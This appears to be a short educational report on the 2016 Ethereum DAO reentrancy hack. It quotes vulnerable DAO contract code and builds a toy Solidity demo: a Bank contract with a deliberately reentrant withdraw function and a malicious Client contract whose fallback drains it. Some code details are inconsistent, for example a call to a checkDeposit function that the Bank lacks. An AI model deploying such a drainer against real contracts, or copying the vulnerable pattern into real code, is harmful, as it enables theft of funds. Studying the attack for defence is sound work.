What Went Wrong with the Ethereum DOA Hack?

Wei Wang

January 17, 2019

1 Introduction

Ether (ETH) is currently the second-highest value cryptocurrency from Bitcoin [1]. From August 7th., 2015 to June 17th. 2016, ETH had a staggering growth of its market price , it had grown from 2.83 USD to 19.42 USD less than a year [2]. However, on June 18th., an anonymous hacker use Reentrancy Attack [3] which took advantage a pattern design flaw in DAO's smart contract API, and was able to gain control about 50M USD. Although these stolen Ether was returned by hard-fork and rollback the transactions, price of Ether had dropped 50% on that day.

In this report, I will introduce how Reentrancy Attack becomes feasible on DAO's smart contract and present a simplified Bank-Client example to demonstrate the attack.

2 Vulnerability of DAO's Smart Contract

Most of the codes listed in this section are referece from various article [4] [5] [6]. Here gives a brief snippet of DAO's smart contract that gives an overview of its vulnerability

```
1  function splitDAO(
2    uint _proposalID,
3    address _newCurator
4  ) noEther onlyTokenholders returns (bool _success) {
5
6    ...
7    // XXXXX Move ether and assign new Tokens.  Notice how this is done
       first!
8    uint fundsToBeMoved =
9        (balances[msg.sender] * p.splitData[0].splitBalance) /
10       p.splitData[0].totalSupply;
11   if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.
       sender) == false) // XXXXX This is the line the attacker wants to run
        more than once
12       throw;
13
14   ...
15   // Burn DAO Tokens
16   Transfer(msg.sender, 0, balances[msg.sender]);
17   withdrawRewardFor(msg.sender); // be nice, and get his rewards
```

```
18    // XXXXX Notice the preceding line is critically before the next few
19    totalSupply -= balances[msg.sender]; // XXXXX AND THIS IS DONE LAST
20    balances[msg.sender] = 0; // XXXXX AND THIS IS DONE LAST TOO
21    paidOut[msg.sender] = 0;
22    return true;
23  }
```

Listing 1: splitDAO() first pay the contract and update its state

From line 16 to line 21, we can see the design pattern that susceptible to Reentrancy Attack. The ETH and token transferring functions (**withdrawRewardFor()** and **Transfer()**) are executed and transfer to recipient at line 16 & 17, and then the balance of the recipient is being updated from line 16 to line 21. Which means that if a malicious contract can call the **splitDAO()** recursively before its state being updated, it able to surpass the if statement at line 11, and get both ETH and certificate by **withdrawRewardFor()** and Transfer() again! Here is a snippet of **withdrawRewardFor()**, that gives ETH to hacker's smart contract

```
1  function withdrawRewardFor(address _account) noEther internal returns (
       bool _success) {
2         if ((balanceOf(_account) * rewardAccount.accumulatedInput()) /
              totalSupply < paidOut[_account])
3             throw;
4
5         uint reward =
6             (balanceOf(_account) * rewardAccount.accumulatedInput()) /
                 totalSupply - paidOut[_account];
7         if (!rewardAccount.payOut(_account, reward))
8             throw;
9         paidOut[_account] += reward;
10        return true;
11    }
```

Listing 2: withdrawRewardFor() snippet

DAO's smart contract use **withdrawRewardFor()** check the balance of a smart contract, then use **payOut()** the contract if its balance is enough, which seems reasonable. However, DAO's contract is not updated during the recursive call of **splitDAO()** from malicious contract.

```
1  function payOut(address _recipient, uint _amount) returns (bool) {
2    if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient
        != owner))
3        throw;
4    if (_recipient.call.value(_amount)()) { // XXXXX vulnerable
5        PayOut(_recipient, _amount);
6        return true;
7    } else {
8        return false;
9  }
```

Listing 3: Snippet of payOut()

3 Malicious External Contract

To get ETH from DAO's contract, a recursive call of **splitDao** must be achieved. Let's first get an overview of such call stack

```
splitDao
      withdrawRewardFor
         payOut
            recipient.call.value()()
               splitDao
                 withdrawRewardFor
                    payOut
                       recipient.call.value()()
```

Listing 4: call stack of a malicious contract

When the above call stack resolves, the malicious contract get more ETH than its balance. To construct the malicious contract, a hacker can implement **fallback()** (the fallback function will automatically execute when the contract receive ETH) in his contract like below

```
function () {
    while (a<5) {
        a++;
      arr.push(a); //to help debug
    //  if (daoAddress.balance-2*msg.value < 0){
    if (a==4){
          DAO(daoAddress).transferTokens(transferAddress,dumbDAO(
              daoAddress).balances(this)-1);
      }
      DAO(daoAddress).withdrawRewardFor(this);
    }
  }
```

Listing 5: This fallback function would create a recursive call of splitDao

where he could also use a counter variable **a** to avoid stackoverflow or stealing too much ETH.

4 Toy Case: Vulnerable Bank Contract

In this section, you will see a simple toy case demonstrating reentrency attack. A bank contract, which has a vulnerability in its withdrawing function that similar to the DAO contract, interacts with a malicious client contract, launching the attack using the vulnerable withdraw function from the bank contract.

Below is the bank contract written in Solidity

```
contract Bank {
    struct Client {
        uint deposit;
        bool active;
    }

    address owner;
    mapping(address => Client) public clientList;
    uint clientCounter;

    constructor() public payable {
        require(msg.value >= 30 ether, "Initial funding of 30 ether
           required for rewards");
        /* Set the owner to the creator of this contract */
        owner = msg.sender;
        clientCounter = 0;
    }

    // this will add the provide address to client list, and automatically
        add 5 ether to the account
    function enroll(address _addr) public {
        clientList[_addr].deposit = 0;
        clientList[_addr].active = true;
        clientCounter++;
    }

    function isClientActive(address _addr) public view returns(bool){
        return clientList[_addr].active;
    }

    function getClientCounter() public view returns(uint){
        return clientCounter;
    }
    // add the deposit to the sender account
    function addDeposit() public payable {
        if (clientList[msg.sender].active != true){
            revert("the client's address does not exist");
        }else{
            clientList[msg.sender].deposit += msg.value;
        }
    }

    // transfer the amount of ether to the provided address
    function withdraw(address _recipient, uint amount) public payable {
        if (clientList[_recipient].deposit < amount){
            revert("not enough deposit to make the withdraw");
        }else {
            _recipient.call.value(amount)();
            clientList[_recipient].deposit -= amount;
        }
    }
```

Listing 6: Bank contract with withdraw function being susceptible to reentrency attack

```
contract Client {
    address owner; // the client contract connect with the account who
       creates it
    Bank bank; // the bank that this client contract connected with
    int a = 0;

    constructor (address _referBank, address _owner) public payable {
        owner = _owner;
        bank = Bank(_referBank);
        bank.enroll(address(this));
    }
    function isClientActive() public view returns(bool) {
        return bank.isClientActive(address(this));
    }
    function addFund() public payable {
        require(msg.sender == owner, "only owner are allow to send money
           to client contract");
    }
    function addDeposit(uint amount) public {
        // addresss(bank).transfer(amount)
        bank.addDeposit.value(amount)();
    }
    function withdraw(uint amount) public payable{
        bank.withdraw(address(this),amount);
    }
    function checkDeposit() public view returns(uint) {
        return bank.checkDeposit(address(this));
    }
    function checkBalance() public view returns(uint) {
        return address(this).balance;
    }
    //callback function launching reentrancy attack, when receive ETH
    function () public payable {
        // require(msg.sender == owner, "only owner are allow to send
           money to client contract");
        uint256 amount = checkDeposit();
        // the bank may not have that much left
        if (address(bank).balance < amount) {
            amount = address(bank).balance;
        }
        // if there's more left to withdraw, do it
        if (amount > 0) {
            bank.withdraw(address(this), amount);
        }
    }
}
```

Listing 7: Malicious client contract with a callback function that launch reentrancy attack

5 Conclusions

The reentrancy attack can actually be avoid if the **payOut()** use **msg.sender.send()** instead of **msg.sender.call.value()()**. The **send()** only allow one transaction being made by limiting gas consumption (every transaction in Solidity consumes gas). However, **send()** limit the complexity of a transaction and maybe that's is the reason that DAO did not adopt it in **payOut()**.

The tragedy event gives all future smart contract implementations a great lesson for avoiding such reentrancy attack.

References

[1] *Ethereum*, available at *https://en.wikipedia.org/wiki/Ethereum*

[2] *CoinMarketCap*, available at *https://coinmarketcap.com/currencies/ethereum/*.

[3] *Known Attacks*, available at *https://consensys.github.io/smart-contract-best-practices/known$_a$ttacks/*

[4] *Mock DAO attack*, available at *https://github.com/joeb000/mock-dao-hack*.

[5] *Deconstructing the DAO Attack: A Brief Code Tour*, available at *https://vessenes.com/deconstructing-thedao-attack-a-brief-code-tour/*.

[6] *Chasing the DAO Attackers Wake*, available at *https://pdaian.com/blog/chasing-the-dao-attackers-wake/*.